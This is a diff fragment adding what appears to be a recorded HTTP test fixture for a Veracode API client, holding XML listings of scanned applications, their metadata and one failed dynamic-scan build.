+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:08:51 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:08:53 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
